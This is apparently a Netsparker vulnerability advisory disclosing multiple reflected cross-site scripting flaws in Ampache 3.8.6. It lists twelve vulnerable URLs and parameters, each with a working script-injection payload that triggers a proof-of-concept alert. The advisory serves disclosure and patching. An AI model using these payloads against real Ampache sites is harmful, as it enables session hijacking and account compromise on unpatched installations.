Ampache 3.8.6 Cross Site Scripting

`Multiple Reflected Cross-site Scripting Vulnerabilities in Ampache 3.8.6  
  
Information  
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Advisory by Netsparker  
Name: Multiple Reflected Cross-site Scripting in Ampache 3.8.6  
Affected Software: Ampache  
Affected Versions: 3.8.6  
Homepage: http://ampache.org  
Vulnerability: Reflected Cross-site Scripting  
Severity: Medium  
Status: Not Fixed  
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L  
Netsparker Advisory Reference: NS-18-046  
  
Technical Details  
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URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id='"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>&burl=http://www.example.com&artist_name=Smith&album_name=Smith&cover=3  
Parameter Type: GET  
Parameter Name: mbid  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/artists.php?action=show_missing&mbid='+alert(0x003D85)+'  
Parameter Type: GET  
Parameter Name: mbid  
Attack Pattern: '+alert(0x003D85)+'  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=album&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=  
Parameter Type: GET  
Parameter Name: object_id  
Attack Pattern: "><scRipt>alert(9)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=  
Parameter Type: GET  
Parameter Name: object_id  
Attack Pattern: "><scRipt>alert(9)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song  
Parameter Type: POST  
Parameter Name: rule_1  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song  
Parameter Type: POST  
Parameter Name: rule_1_input  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song  
Parameter Type: POST  
Parameter Name: rule_1_subtype  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song  
Parameter Type: POST  
Parameter Name: rule_1_input  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song  
Parameter Type: POST  
Parameter Name: rule_1  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8   
Parameter Type: POST  
Parameter Name: rule_1  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8   
Parameter Type: POST  
Parameter Name: rule_1_input  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>  
  
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8   
Parameter Type: POST  
Parameter Name: rule_1_subtype  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
--------------------  
  
12th November 2018- First Contact Attempt  
9th January 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.  
  
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